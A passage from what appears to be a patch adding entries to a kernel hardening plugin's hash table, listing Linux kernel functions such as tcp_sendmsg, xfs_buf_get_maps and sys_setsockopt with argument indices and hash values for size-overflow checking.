++_001524_hash jffs2_trusted_setxattr 4 17048 _001524_hash NULL ++_001525_hash jffs2_user_setxattr 4 10182 _001525_hash NULL ++_001526_hash joydev_ioctl_common 2 49359 _001526_hash NULL ++_001527_hash kernel_setsockopt 5 35913 _001527_hash NULL ++_001528_hash keyctl_describe_key 3 36853 _001528_hash NULL ++_001529_hash keyctl_get_security 3 64418 _001529_hash &_001192_hash ++_001530_hash keyring_read 3 13438 _001530_hash NULL ++_001531_hash kfifo_copy_to_user 3 20646 _001531_hash NULL ++_001532_hash kmem_zalloc_large 1 56128 _001532_hash NULL ++_001533_hash kmp_init 2 41373 _001533_hash NULL ++_001534_hash koneplus_sysfs_write 6 35993 _001534_hash NULL ++_001535_hash kvm_clear_guest_page 4 2308 _001535_hash NULL ++_001536_hash kvm_read_nested_guest_page 5 13337 _001536_hash NULL ++_001537_hash _l2_alloc_skb 1 11883 _001537_hash NULL ++_001538_hash l2cap_create_basic_pdu 3 24869 _001538_hash &_001074_hash ++_001539_hash l2cap_create_connless_pdu 3 37327 _001539_hash NULL ++_001540_hash l2cap_create_iframe_pdu 3 40055 _001540_hash NULL ++_001541_hash l3_alloc_skb 1 32289 _001541_hash NULL ++_001542_hash __lgwrite 4 57669 _001542_hash NULL ++_001543_hash libfc_host_alloc 2 7917 _001543_hash NULL ++_001544_hash llc_alloc_frame 4 64366 _001544_hash NULL ++_001545_hash llcp_sock_sendmsg 4 1092 _001545_hash NULL ++_001546_hash mac_drv_rx_init 2 48898 _001546_hash NULL ++_001547_hash macvtap_get_user 4 28185 _001547_hash NULL ++_001548_hash mdc800_device_read 3 22896 _001548_hash NULL ++_001549_hash memcpy_toiovec 3 54166 _001549_hash &_000892_hash ++_001550_hash memcpy_toiovecend 3-4 19736 _001550_hash NULL ++_001552_hash mempool_create 1 29437 _001552_hash NULL ++_001553_hash mgmt_event 4 12810 _001553_hash NULL ++_001554_hash mgt_set_varlen 4 60916 _001554_hash NULL ++_001555_hash mI_alloc_skb 1 24770 _001555_hash NULL ++_001556_hash mlx4_en_create_rx_ring 3 62498 _001556_hash NULL ++_001557_hash mlx4_en_create_tx_ring 4 48501 _001557_hash NULL ++_001558_hash mlx4_init_cmpt_table 3 11569 _001558_hash NULL ++_001559_hash mon_bin_get_event 4 52863 _001559_hash NULL ++_001560_hash mousedev_read 3 47123 _001560_hash NULL ++_001561_hash move_addr_to_user 2 2868 _001561_hash NULL ++_001562_hash mpihelp_mul 5-3 27805 _001562_hash NULL ++_001564_hash mpi_set_buffer 3 65294 _001564_hash NULL ++_001565_hash mptctl_ioctl 2 12355 _001565_hash NULL ++_001566_hash msnd_fifo_alloc 2 23179 _001566_hash NULL ++_001567_hash mtdswap_init 2 55719 _001567_hash NULL ++_001568_hash mthca_alloc_resize_buf 3 60394 _001568_hash NULL ++_001569_hash mthca_init_cq 2 60011 _001569_hash NULL ++_001570_hash nci_skb_alloc 2 49757 _001570_hash NULL ++_001571_hash neigh_hash_grow 2 17283 _001571_hash NULL ++_001572_hash netdev_alloc_skb 2 62437 _001572_hash NULL ++_001573_hash __netdev_alloc_skb_ip_align 2 55067 _001573_hash NULL ++_001574_hash netlink_change_ngroups 2 16457 _001574_hash NULL ++_001575_hash new_skb 1 21148 _001575_hash NULL ++_001576_hash nfc_alloc_recv_skb 1 10244 _001576_hash NULL ++_001577_hash nfcwilink_skb_alloc 1 16167 _001577_hash NULL ++_001578_hash __nf_nat_mangle_tcp_packet 5-7 8190 _001578_hash NULL ++_001580_hash nf_nat_mangle_udp_packet 5-7 13321 _001580_hash NULL ++_001582_hash nfqnl_mangle 4-2 36226 _001582_hash NULL ++_001583_hash nfs4_realloc_slot_table 2 22859 _001583_hash NULL ++_001584_hash nfs_idmap_get_key 2 39616 _001584_hash NULL ++_001585_hash nfs_readdata_alloc 2 65015 _001585_hash NULL ++_001586_hash nfs_writedata_alloc 2 12133 _001586_hash NULL ++_001587_hash nfulnl_alloc_skb 2 65207 _001587_hash NULL ++_001588_hash ni65_alloc_mem 3 10664 _001588_hash NULL ++_001589_hash nsm_get_handle 4 52089 _001589_hash NULL ++_001590_hash ntfs_malloc_nofs 1 49572 _001590_hash NULL ++_001591_hash ntfs_malloc_nofs_nofail 1 63631 _001591_hash NULL ++_001592_hash nvme_create_queue 3 170 _001592_hash NULL ++_001593_hash ocfs2_control_write 3 54737 _001593_hash NULL ++_001595_hash orinoco_add_extscan_result 3 18207 _001595_hash NULL ++_001596_hash osd_req_read_sg_kern 5 6378 _001596_hash NULL ++_001597_hash osd_req_write_sg_kern 5 10514 _001597_hash NULL ++_001599_hash override_release 2 52032 _001599_hash NULL ++_001600_hash p9_client_read 5 19750 _001600_hash NULL ++_001601_hash packet_snd 3 13634 _001601_hash NULL ++_001602_hash pcbit_stat 2 27364 _001602_hash NULL ++_001603_hash pcpu_extend_area_map 2 12589 _001603_hash NULL ++_001604_hash pep_alloc_skb 3 46303 _001604_hash NULL ++_001605_hash pg_read 3 17276 _001605_hash NULL ++_001606_hash picolcd_debug_eeprom_read 3 14549 _001606_hash NULL ++_001607_hash pkt_alloc_packet_data 1 37928 _001607_hash NULL ++_001608_hash pmcraid_build_passthrough_ioadls 2 62034 _001608_hash NULL ++_001609_hash pn_raw_send 2 54330 _001609_hash NULL ++_001610_hash posix_clock_register 2 5662 _001610_hash NULL ++_001611_hash printer_read 3 54851 _001611_hash NULL ++_001612_hash __proc_file_read 3 54978 _001612_hash NULL ++_001613_hash pskb_may_pull 2 22546 _001613_hash NULL ++_001614_hash __pskb_pull 2 42602 _001614_hash NULL ++_001615_hash ptp_read 4 63251 _001615_hash NULL ++_001616_hash pt_read 3 49136 _001616_hash NULL ++_001617_hash put_cmsg 4 36589 _001617_hash NULL ++_001618_hash px_raw_event 4 49371 _001618_hash NULL ++_001619_hash qla4xxx_post_aen_work 3 46953 _001619_hash NULL ++_001620_hash qla4xxx_post_ping_evt_work 4 8074 _001819_hash NULL nohasharray ++_001621_hash raid5_resize 2 63306 _001621_hash NULL ++_001622_hash rawv6_sendmsg 4 20080 _001622_hash NULL ++_001623_hash rds_message_map_pages 2 31487 _001623_hash NULL ++_001624_hash rds_sendmsg 4 40976 _001624_hash NULL ++_001625_hash read_flush 3 43851 _001625_hash NULL ++_001626_hash read_profile 3 27859 _001626_hash NULL ++_001627_hash read_vmcore 3 26501 _001627_hash NULL ++_001628_hash redirected_tty_write 3 65297 _001628_hash NULL ++_001629_hash refill_pool 2 19477 _001629_hash NULL ++_001630_hash __register_chrdev 2-3 54223 _001630_hash NULL ++_001632_hash regmap_raw_write 4 53803 _001632_hash NULL ++_001633_hash reiserfs_allocate_list_bitmaps 3 21732 _001633_hash NULL ++_001634_hash reiserfs_resize 2 34377 _001634_hash NULL ++_001635_hash request_key_auth_read 3 24109 _001635_hash NULL ++_001636_hash rfcomm_wmalloc 2 58090 _001636_hash NULL ++_001637_hash rfkill_fop_read 3 54711 _001637_hash NULL ++_001638_hash rng_dev_read 3 41581 _001638_hash NULL ++_001639_hash roccat_read 3 41093 _001639_hash &_001034_hash ++_001640_hash rx 4 57944 _001640_hash NULL ++_001641_hash rxrpc_client_sendmsg 5 23236 _001641_hash NULL ++_001642_hash rxrpc_kernel_send_data 3 60083 _001642_hash NULL ++_001643_hash rxrpc_server_sendmsg 4 37331 _001643_hash NULL ++_001644_hash savu_sysfs_write 6 42273 _001644_hash NULL ++_001645_hash sco_sock_sendmsg 4 62542 _001645_hash NULL ++_001646_hash scsi_nl_send_vendor_msg 5 16394 _001646_hash NULL ++_001647_hash scsi_register 2 49094 _001647_hash NULL ++_001648_hash sctp_datamsg_from_user 4 55342 _001648_hash NULL ++_001649_hash sctp_getsockopt_events 2 3607 _001649_hash NULL ++_001650_hash sctp_getsockopt_maxburst 2 42941 _001650_hash NULL ++_001651_hash sctp_getsockopt_maxseg 2 10737 _001651_hash NULL ++_001652_hash sctp_make_chunk 4 12986 _001652_hash NULL ++_001653_hash sctpprobe_read 3 17741 _001653_hash NULL ++_001654_hash sctp_tsnmap_mark 2 35929 _001654_hash NULL ++_001655_hash sctp_ulpevent_new 1 33377 _001655_hash NULL ++_001656_hash sdhci_alloc_host 2 7509 _001656_hash NULL ++_001657_hash selinux_inode_post_setxattr 4 26037 _001657_hash NULL ++_001658_hash selinux_inode_setsecurity 4 18148 _001658_hash NULL ++_001659_hash selinux_inode_setxattr 4 10708 _001659_hash NULL ++_001660_hash selinux_secctx_to_secid 2 63744 _001660_hash NULL ++_001661_hash selinux_setprocattr 4 55611 _001661_hash NULL ++_001662_hash sel_write_context 3 25726 _001662_hash &_001329_hash ++_001663_hash send_command 4 10832 _001663_hash NULL ++_001664_hash seq_copy_in_user 3 18543 _001664_hash NULL ++_001665_hash seq_open_net 4 8968 _001779_hash NULL nohasharray ++_001666_hash seq_open_private 3 61589 _001666_hash NULL ++_001667_hash set_arg 3 42824 _001667_hash NULL ++_001668_hash sg_read 3 25799 _001668_hash NULL ++_001669_hash shash_async_setkey 3 10720 _003506_hash NULL nohasharray ++_001670_hash shash_compat_setkey 3 12267 _001670_hash NULL ++_001671_hash shmem_setxattr 4 55867 _001671_hash NULL ++_001672_hash simple_read_from_buffer 2-5 55957 _001672_hash NULL ++_001674_hash sisusb_clear_vram 2-3 57466 _001674_hash NULL ++_001676_hash sisusbcon_do_font_op 9 52271 _001676_hash NULL ++_001677_hash sisusb_copy_memory 4 35016 _001677_hash NULL ++_001678_hash sisusb_write 3 44834 _001678_hash NULL ++_001680_hash skb_cow 2 26138 _001680_hash NULL ++_001681_hash skb_cow_head 2 52495 _001681_hash NULL ++_001682_hash skb_make_writable 2 24783 _001682_hash NULL ++_001683_hash skb_padto 2 50759 _001683_hash NULL ++_001684_hash sk_stream_alloc_skb 2 57622 _001684_hash NULL ++_001685_hash smk_write_access2 3 19170 _001685_hash NULL ++_001686_hash smk_write_access 3 49561 _001686_hash NULL ++_001687_hash snd_es1938_capture_copy 5 25930 _001687_hash NULL ++_001688_hash snd_gus_dram_peek 4 9062 _001688_hash NULL ++_001689_hash snd_hdsp_capture_copy 5 4011 _001689_hash NULL ++_001690_hash snd_korg1212_copy_to 6 92 _001690_hash NULL ++_001691_hash snd_opl4_mem_proc_read 5 63774 _001691_hash NULL ++_001692_hash snd_pcm_oss_read1 3 63771 _001692_hash NULL ++_001693_hash snd_pcm_plugin_alloc 2 12580 _001693_hash NULL ++_001694_hash snd_rawmidi_kernel_read1 4 36740 _001694_hash NULL ++_001695_hash snd_rme9652_capture_copy 5 10287 _001695_hash NULL ++_001696_hash sock_alloc_send_pskb 2 21246 _001696_hash NULL ++_001697_hash sock_rmalloc 2 59740 _002491_hash NULL nohasharray ++_001698_hash sock_wmalloc 2 16472 _001698_hash NULL ++_001699_hash solos_param_store 4 34755 _001699_hash NULL ++_001702_hash srp_target_alloc 3 37288 _001702_hash NULL ++_001703_hash store_ifalias 4 35088 _001703_hash NULL ++_001704_hash store_msg 3 56417 _001704_hash NULL ++_001705_hash str_to_user 2 11411 _001705_hash NULL ++_001706_hash subbuf_read_actor 3 2071 _001706_hash NULL ++_001707_hash sys_fgetxattr 4 25166 _001707_hash NULL ++_001708_hash sys_gethostname 2 49698 _001708_hash NULL ++_001709_hash sys_getxattr 4 37418 _001709_hash NULL ++_001710_hash sys_init_module 2 36047 _001710_hash NULL ++_001711_hash sys_kexec_load 2 14222 _001711_hash NULL ++_001712_hash sys_lgetxattr 4 45531 _001712_hash NULL ++_001713_hash syslog_print 2 307 _001713_hash NULL ++_001714_hash sys_msgsnd 3 44537 _001714_hash &_000139_hash ++_001715_hash sys_process_vm_readv 3-5 19090 _003104_hash NULL nohasharray ++_001717_hash sys_process_vm_writev 3-5 4928 _001717_hash NULL ++_001719_hash sys_pselect6 1 57449 _001719_hash NULL ++_001720_hash sys_sched_getaffinity 2 60033 _001720_hash NULL ++_001721_hash sys_setsockopt 5 35320 _001721_hash NULL ++_001722_hash t3_init_l2t 1 8261 _001722_hash NULL ++_001723_hash t4vf_pktgl_to_skb 2 39005 _001723_hash NULL ++_001724_hash tcp_collapse 5-6 63294 _001724_hash NULL ++_001726_hash tcp_sendmsg 4 30296 _001726_hash NULL ++_001727_hash team_options_register 3 20091 _001727_hash NULL ++_001728_hash tipc_buf_acquire 1 60437 _001728_hash NULL ++_001729_hash tipc_cfg_reply_alloc 1 27606 _001729_hash NULL ++_001730_hash tipc_send2name 6 16809 _001730_hash NULL ++_001731_hash tipc_send2port 5 63935 _001731_hash NULL ++_001732_hash tipc_send 4 51238 _001732_hash NULL ++_001733_hash tnode_new 3 44757 _002769_hash NULL nohasharray ++_001734_hash tomoyo_read_self 3 33539 _001734_hash NULL ++_001735_hash tomoyo_update_domain 2 5498 _001735_hash NULL ++_001736_hash tomoyo_update_policy 2 40458 _001736_hash NULL ++_001737_hash tpm_read 3 50344 _001737_hash NULL ++_001738_hash TSS_rawhmac 3 17486 _001738_hash NULL ++_001739_hash __tty_buffer_request_room 2 27700 _001739_hash NULL ++_001740_hash tun_get_user 4 39099 _001740_hash NULL ++_001741_hash ubi_dump_flash 4 46381 _001741_hash NULL ++_001742_hash ubi_io_write 4-5 15870 _003453_hash NULL nohasharray ++_001744_hash udp_setsockopt 5 25985 _001744_hash NULL ++_001745_hash udpv6_setsockopt 5 18487 _001745_hash NULL ++_001746_hash uio_read 3 49300 _001746_hash NULL ++_001747_hash ulog_alloc_skb 1 23427 _001747_hash NULL ++_001748_hash unix_dgram_sendmsg 4 45699 _001748_hash NULL ++_001749_hash unlink1 3 63059 _001749_hash NULL ++_001751_hash usbdev_read 3 45114 _001751_hash NULL ++_001752_hash usblp_ioctl 2 30203 _001752_hash NULL ++_001753_hash usblp_read 3 57342 _003832_hash NULL nohasharray ++_001754_hash usbtmc_read 3 32377 _001754_hash NULL ++_001755_hash _usb_writeN_sync 4 31682 _001755_hash NULL ++_001756_hash user_read 3 51881 _001756_hash NULL ++_001757_hash vcs_read 3 8017 _001757_hash NULL ++_001758_hash vdma_mem_alloc 1 6171 _001758_hash NULL ++_001759_hash venus_create 4 20555 _001759_hash NULL ++_001760_hash venus_link 5 32165 _001760_hash NULL ++_001761_hash venus_lookup 4 8121 _001761_hash NULL ++_001762_hash venus_mkdir 4 8967 _001762_hash NULL ++_001763_hash venus_remove 4 59781 _001763_hash NULL ++_001764_hash venus_rename 4-5 17707 _003784_hash NULL nohasharray ++_001766_hash venus_rmdir 4 45564 _001766_hash NULL ++_001767_hash venus_symlink 4-6 23570 _001767_hash NULL ++_001769_hash vfs_readlink 3 54368 _001769_hash NULL ++_001770_hash vfs_readv 3 38011 _001770_hash NULL ++_001771_hash vfs_writev 3 25278 _001771_hash NULL ++_001772_hash vga_arb_read 3 4886 _001772_hash NULL ++_001773_hash vgacon_adjust_height 2 28124 _001773_hash NULL ++_001774_hash vhci_put_user 4 12604 _001774_hash NULL ++_001775_hash vhost_add_used_n 3 10760 _001775_hash NULL ++_001776_hash virtnet_send_command 5-6 61993 _001776_hash NULL ++_001778_hash vmbus_establish_gpadl 3 4495 _001778_hash NULL ++_001779_hash vol_cdev_read 3 8968 _001779_hash &_001665_hash ++_001780_hash wdm_read 3 6549 _001780_hash NULL ++_001781_hash write_adapter_mem 3 3234 _001781_hash NULL ++_001782_hash wusb_prf 7 54261 _001782_hash &_000065_hash ++_001783_hash xdi_copy_to_user 4 48900 _001783_hash NULL ++_001784_hash xfs_buf_associate_memory 3 17915 _001784_hash NULL ++_001785_hash xfs_buf_get_maps 2 4581 _001785_hash NULL ++_001786_hash xfs_buf_get_uncached 2 51477 _001786_hash NULL ++_001787_hash xfs_buf_item_get_format 2 189 _001787_hash NULL ++_001788_hash xfs_buf_map_from_irec 5 2368 _002641_hash NULL nohasharray ++_001789_hash xfs_dir2_block_to_sf 3 37868 _001789_hash NULL ++_001790_hash xfs_dir2_leaf_getdents 3 23841 _001790_hash NULL ++_001791_hash xfs_dir2_sf_addname_hard 3 54254 _001791_hash NULL ++_001792_hash xfs_efd_init 3 5463 _001792_hash NULL ++_001793_hash xfs_efi_init 2 5476 _001793_hash NULL ++_001794_hash xfs_iext_realloc_direct 2 20521 _001794_hash NULL ++_001795_hash xfs_iext_realloc_indirect 2 59211 _001795_hash NULL ++_001796_hash xfs_inumbers_fmt 3 12817 _001796_hash NULL ++_001797_hash xhci_alloc_streams 5 37586 _001797_hash NULL ++_001798_hash xlog_recover_add_to_cont_trans 4 44102 _001798_hash NULL ++_001799_hash xz_dec_lzma2_create 2 36353 _002713_hash NULL nohasharray ++_001800_hash _zd_iowrite32v_locked 3 44725 _001800_hash NULL ++_001801_hash a2mp_chan_alloc_skb_cb 2 27159 _001801_hash NULL ++_001802_hash aat2870_reg_read_file 3 12221 _001802_hash NULL ++_001803_hash add_partition 2 55588 _001803_hash NULL ++_001804_hash add_sctp_bind_addr 3 12269 _001804_hash NULL ++_001805_hash _add_sg_continuation_descriptor 3 54721 _001805_hash NULL ++_001806_hash afs_cell_lookup 2 8482 _001806_hash NULL ++_001807_hash afs_send_simple_reply 3 63940 _001807_hash NULL ++_001808_hash agp_allocate_memory_wrap 1 16576 _001808_hash NULL ++_001809_hash __alloc_bootmem 1 31498 _001809_hash NULL ++_001810_hash __alloc_bootmem_low 1 43423 _003425_hash NULL nohasharray ++_001811_hash __alloc_bootmem_node_high 2 65076 _001811_hash NULL ++_001812_hash alloc_cc770dev 1 48186 _001812_hash NULL ++_001813_hash __alloc_ei_netdev 1 29338 _001813_hash NULL ++_001814_hash __alloc_eip_netdev 1 51549 _001814_hash NULL ++_001815_hash alloc_libipw 1 22708 _001815_hash NULL ++_001816_hash _alloc_mISDN_skb 3 52232 _001816_hash NULL ++_001817_hash alloc_pg_vec 2 8533 _001817_hash NULL ++_001818_hash alloc_sja1000dev 1 17868 _001818_hash NULL ++_001819_hash alloc_targets 2 8074 _001819_hash &_001620_hash ++_001822_hash ath6kl_disconnect_timeout_read 3 3650 _001822_hash NULL ++_001823_hash ath6kl_endpoint_stats_read 3 41554 _001823_hash NULL ++_001824_hash ath6kl_fwlog_mask_read 3 2050 _001824_hash NULL ++_001825_hash ath6kl_keepalive_read 3 44303 _001825_hash NULL ++_001826_hash ath6kl_listen_int_read 3 10355 _001826_hash NULL ++_001827_hash ath6kl_lrssi_roam_read 3 61022 _001827_hash NULL ++_001828_hash ath6kl_regdump_read 3 14393 _001828_hash NULL ++_001829_hash ath6kl_regread_read 3 25884 _001829_hash NULL ++_001830_hash ath6kl_regwrite_read 3 48747 _001830_hash NULL ++_001831_hash ath6kl_roam_table_read 3 26166 _001831_hash NULL ++_001832_hash ath9k_debugfs_read_buf 3 25316 _001832_hash NULL ++_001833_hash ath9k_multi_regread 4 65056 _001833_hash NULL ++_001834_hash ath_rxbuf_alloc 2 24745 _001834_hash NULL ++_001835_hash atk_debugfs_ggrp_read 3 29522 _001835_hash NULL ++_001836_hash audit_log_n_untrustedstring 3 9548 _001836_hash NULL ++_001837_hash ax25_send_frame 2 19964 _001837_hash NULL ++_001838_hash b43_debugfs_read 3 24425 _001838_hash NULL ++_001839_hash b43legacy_debugfs_read 3 2473 _001839_hash NULL ++_001840_hash batadv_bla_is_backbone_gw 3 58488 _001840_hash NULL ++_001841_hash batadv_check_management_packet 3 52993 _001841_hash NULL ++_001842_hash batadv_check_unicast_packet 2 10866 _001842_hash NULL ++_001843_hash batadv_interface_rx 4 8568 _001843_hash NULL ++_001844_hash batadv_skb_head_push 2 11360 _001844_hash NULL ++_001845_hash bchannel_get_rxbuf 2 37213 _001845_hash NULL ++_001846_hash bcm_recvmsg 4 43992 _001846_hash NULL ++_001847_hash bfad_debugfs_read 3 13119 _001847_hash NULL ++_001848_hash bfad_debugfs_read_regrd 3 57830 _001848_hash NULL ++_001849_hash blk_init_tags 1 30592 _001849_hash NULL ++_001850_hash blk_queue_init_tags 2 44355 _001850_hash &_001022_hash ++_001851_hash blk_rq_map_kern 4 47004 _001851_hash NULL ++_001852_hash bm_entry_read 3 10976 _001852_hash NULL ++_001853_hash bm_status_read 3 19583 _001853_hash NULL ++_001854_hash bnad_debugfs_read 3 50665 _001854_hash NULL ++_001855_hash bnad_debugfs_read_regrd 3 51308 _001855_hash NULL ++_001856_hash bnx2i_send_nl_mesg 4 53353 _001856_hash NULL ++_001857_hash brcmf_debugfs_sdio_counter_read 3 58369 _001857_hash NULL ++_001858_hash brcmf_sdio_assert_info 4 52653 _001858_hash NULL ++_001859_hash brcmf_sdio_dump_console 4 37455 _001859_hash NULL ++_001860_hash brcmf_sdio_trap_info 4 48510 _001860_hash NULL ++_001861_hash btmrvl_curpsmode_read 3 46939 _001861_hash NULL ++_001862_hash btmrvl_gpiogap_read 3 4718 _001862_hash NULL ++_001863_hash btmrvl_hscfgcmd_read 3 56303 _001863_hash NULL ++_001864_hash btmrvl_hscmd_read 3 1614 _001864_hash NULL ++_001865_hash btmrvl_hsmode_read 3 1647 _001865_hash NULL ++_001866_hash btmrvl_hsstate_read 3 920 _001866_hash NULL ++_001867_hash btmrvl_pscmd_read 3 24308 _001867_hash NULL ++_001868_hash btmrvl_psmode_read 3 22395 _001868_hash NULL ++_001869_hash btmrvl_psstate_read 3 50683 _001869_hash NULL ++_001870_hash btmrvl_txdnldready_read 3 413 _001870_hash NULL ++_001871_hash btrfs_add_link 5 9973 _001871_hash NULL ++_001872_hash __btrfs_direct_write 4 22273 _001872_hash NULL ++_001873_hash btrfs_discard_extent 2 38547 _001873_hash NULL ++_001874_hash btrfs_file_aio_write 4 21520 _001874_hash NULL ++_001875_hash btrfs_find_create_tree_block 3 55812 _001875_hash NULL ++_001876_hash btrfsic_map_block 2 56751 _001876_hash NULL ++_001877_hash cache_read_pipefs 3 47615 _001877_hash NULL ++_001878_hash cache_read_procfs 3 52882 _001878_hash NULL ++_001879_hash cache_write_pipefs 3 48270 _001879_hash NULL ++_001880_hash cache_write_procfs 3 22491 _001880_hash NULL ++_001881_hash caif_stream_recvmsg 4 13173 _001881_hash NULL ++_001882_hash carl9170_alloc 1 27 _001882_hash NULL ++_001883_hash carl9170_debugfs_read 3 47738 _001883_hash NULL ++_001884_hash ceph_msgpool_init 4 34599 _001884_hash NULL ++_001885_hash cfpkt_add_trail 3 27260 _001885_hash NULL ++_001886_hash cfpkt_create 1 18197 _001886_hash NULL ++_001887_hash cfpkt_pad_trail 2 55511 _003606_hash NULL nohasharray ++_001888_hash cfpkt_split 2 47541 _001888_hash NULL ++_001889_hash cgroup_read_s64 5 19570 _001889_hash NULL ++_001890_hash cgroup_read_u64 5 45532 _001890_hash NULL ++_001891_hash channel_type_read 3 47308 _001891_hash NULL ++_001892_hash check_header 2 56930 _001892_hash NULL ++_001893_hash codec_list_read_file 3 24910 _001893_hash NULL ++_001894_hash configfs_read_file 3 1683 _001894_hash NULL ++_001895_hash console_store 4 36007 _001895_hash NULL ++_001896_hash cpuset_common_file_read 5 8800 _001896_hash NULL ++_001897_hash create_subvol 4 30836 _001897_hash NULL ++_001898_hash cxio_hal_init_resource 2-7-6 29771 _001898_hash &_000295_hash ++_001901_hash cxio_hal_init_rhdl_resource 1 25104 _001901_hash NULL ++_001902_hash dai_list_read_file 3 25421 _001902_hash NULL ++_001903_hash dapm_bias_read_file 3 64715 _001903_hash NULL ++_001904_hash dapm_widget_power_read_file 3 59950 _001983_hash NULL nohasharray ++_001907_hash dbgfs_frame 3 45917 _001907_hash NULL ++_001908_hash dbgfs_state 3 38894 _001908_hash NULL ++_001909_hash dccp_manip_pkt 2 30229 _001909_hash NULL ++_001910_hash ddp_ppod_write_idata 5 25610 _001910_hash NULL ++_001911_hash debugfs_read 3 62535 _001911_hash NULL ++_001912_hash debug_output 3 18575 _001912_hash NULL ++_001913_hash debug_read 3 19322 _001913_hash NULL ++_001914_hash dev_alloc_skb 1 19517 _001914_hash &_001366_hash ++_001915_hash dfs_file_read 3 18116 _001915_hash NULL ++_001916_hash diva_alloc_dma_map 2 23798 _001916_hash NULL ++_001917_hash diva_xdi_write 4 63975 _001917_hash NULL ++_001918_hash dma_memcpy_pg_to_iovec 6 1725 _001918_hash NULL ++_001919_hash dma_memcpy_to_iovec 5 12173 _001919_hash NULL ++_001920_hash dma_show_regs 3 35266 _001920_hash NULL ++_001921_hash dm_exception_table_init 2 39645 _001921_hash &_001149_hash ++_001922_hash dn_nsp_do_disc 2-6 49474 _001922_hash NULL ++_001924_hash dn_recvmsg 4 17213 _001924_hash NULL ++_001925_hash dns_resolver_read 3 54658 _001925_hash NULL ++_001926_hash do_msgrcv 4 5590 _001926_hash NULL ++_001927_hash do_syslog 3 56807 _001927_hash NULL ++_001928_hash dpcm_state_read_file 3 65489 _001928_hash NULL ++_001929_hash dsp_cmx_send_member 2 15625 _001929_hash NULL ++_001930_hash fallback_on_nodma_alloc 2 35332 _001930_hash NULL ++_001931_hash fc_frame_alloc 2 1596 _001931_hash NULL ++_001932_hash fc_frame_alloc_fill 2 59394 _001932_hash NULL ++_001933_hash filter_read 3 61692 _001933_hash NULL ++_001934_hash __finish_unordered_dir 4 33198 _001934_hash NULL ++_001935_hash format_devstat_counter 3 32550 _001935_hash NULL ++_001936_hash fragmentation_threshold_read 3 61718 _001936_hash NULL ++_001937_hash fuse_conn_limit_read 3 20084 _001937_hash NULL ++_001938_hash fuse_conn_waiting_read 3 49762 _001938_hash NULL ++_001939_hash fuse_file_aio_write 4 46399 _001939_hash NULL ++_001940_hash generic_readlink 3 32654 _001940_hash NULL ++_001941_hash gre_manip_pkt 2 38785 _001941_hash NULL ++_001942_hash handle_eviocgbit 3 44193 _001942_hash NULL ++_001943_hash handle_response 5 55951 _001943_hash NULL ++_001944_hash handle_response_icmp 7 39574 _001944_hash NULL ++_001945_hash hash_recvmsg 4 50924 _001945_hash NULL ++_001946_hash hci_send_cmd 3 43810 _001946_hash NULL ++_001947_hash hci_si_event 3 1404 _001947_hash NULL ++_001948_hash help 4 14971 _001948_hash NULL ++_001949_hash hfcpci_empty_bfifo 4 62323 _001949_hash NULL ++_001950_hash hidp_send_ctrl_message 4 43702 _001950_hash NULL ++_001951_hash ht40allow_map_read 3 55209 _001951_hash &_001512_hash ++_001952_hash hwflags_read 3 52318 _001952_hash NULL ++_001953_hash hysdn_conf_read 3 42324 _001953_hash NULL ++_001954_hash hysdn_sched_rx 3 60533 _001954_hash NULL ++_001955_hash i2400m_rx_stats_read 3 57706 _001955_hash NULL ++_001956_hash i2400m_tx_stats_read 3 28527 _001956_hash NULL ++_001957_hash icmp_manip_pkt 2 48801 _001957_hash NULL ++_001958_hash idmouse_read 3 63374 _001958_hash NULL ++_001959_hash ieee80211_if_read 3 6785 _001959_hash NULL ++_001960_hash ieee80211_rx_bss_info 3 61630 _001960_hash NULL ++_001961_hash ikconfig_read_current 3 1658 _001961_hash NULL ++_001962_hash il3945_sta_dbgfs_stats_table_read 3 48802 _001962_hash NULL ++_001963_hash il3945_ucode_general_stats_read 3 46111 _001963_hash NULL ++_001964_hash il3945_ucode_rx_stats_read 3 3048 _001964_hash NULL ++_001965_hash il3945_ucode_tx_stats_read 3 36016 _001965_hash NULL ++_001966_hash il4965_rs_sta_dbgfs_rate_scale_data_read 3 37792 _001966_hash NULL ++_001967_hash il4965_rs_sta_dbgfs_scale_table_read 3 38564 _001967_hash NULL ++_001968_hash il4965_rs_sta_dbgfs_stats_table_read 3 49206 _001968_hash NULL ++_001969_hash il4965_ucode_general_stats_read 3 56277 _001969_hash NULL ++_001970_hash il4965_ucode_rx_stats_read 3 61948 _001970_hash NULL ++_001971_hash il4965_ucode_tx_stats_read 3 12064 _001971_hash NULL ++_001972_hash il_dbgfs_chain_noise_read 3 38044 _001972_hash NULL ++_001973_hash il_dbgfs_channels_read 3 25005 _001973_hash NULL ++_001974_hash il_dbgfs_disable_ht40_read 3 42386 _001974_hash NULL ++_001975_hash il_dbgfs_fh_reg_read 3 40993 _001975_hash NULL ++_001976_hash il_dbgfs_force_reset_read 3 57517 _001976_hash NULL ++_001977_hash il_dbgfs_interrupt_read 3 3351 _001977_hash NULL ++_001978_hash il_dbgfs_missed_beacon_read 3 59956 _001978_hash NULL ++_001979_hash il_dbgfs_nvm_read 3 12288 _001979_hash NULL ++_001980_hash il_dbgfs_power_save_status_read 3 43165 _001980_hash NULL ++_001981_hash il_dbgfs_qos_read 3 33615 _001981_hash NULL ++_001982_hash il_dbgfs_rxon_filter_flags_read 3 19281 _001982_hash NULL ++_001983_hash il_dbgfs_rxon_flags_read 3 59950 _001983_hash &_001904_hash ++_001984_hash il_dbgfs_rx_queue_read 3 11221 _001984_hash NULL ++_001985_hash il_dbgfs_rx_stats_read 3 15243 _001985_hash NULL ++_001986_hash il_dbgfs_sensitivity_read 3 2370 _001986_hash NULL ++_001987_hash il_dbgfs_sram_read 3 62296 _001987_hash NULL ++_001988_hash il_dbgfs_stations_read 3 21532 _001988_hash NULL ++_001989_hash il_dbgfs_status_read 3 58388 _001989_hash NULL ++_001990_hash il_dbgfs_tx_queue_read 3 55668 _001990_hash NULL ++_001991_hash il_dbgfs_tx_stats_read 3 32913 _001991_hash NULL ++_001992_hash ima_show_htable_value 2 57136 _001992_hash NULL ++_001994_hash intel_fake_agp_alloc_by_type 1 1 _001994_hash NULL ++_001995_hash ip4ip6_err 5 36772 _001995_hash NULL ++_001996_hash ip6_append_data 4-5 36490 _003601_hash NULL nohasharray ++_001997_hash ip6ip6_err 5 18308 _001997_hash NULL ++_001998_hash __ip_append_data 7-8 36191 _001998_hash NULL ++_001999_hash ip_vs_icmp_xmit 4 59624 _001999_hash NULL ++_002000_hash ip_vs_icmp_xmit_v6 4 20464 _002000_hash NULL ++_002001_hash ipw_write 3 59807 _002001_hash NULL ++_002002_hash irda_recvmsg_stream 4 35280 _002002_hash NULL ++_002003_hash 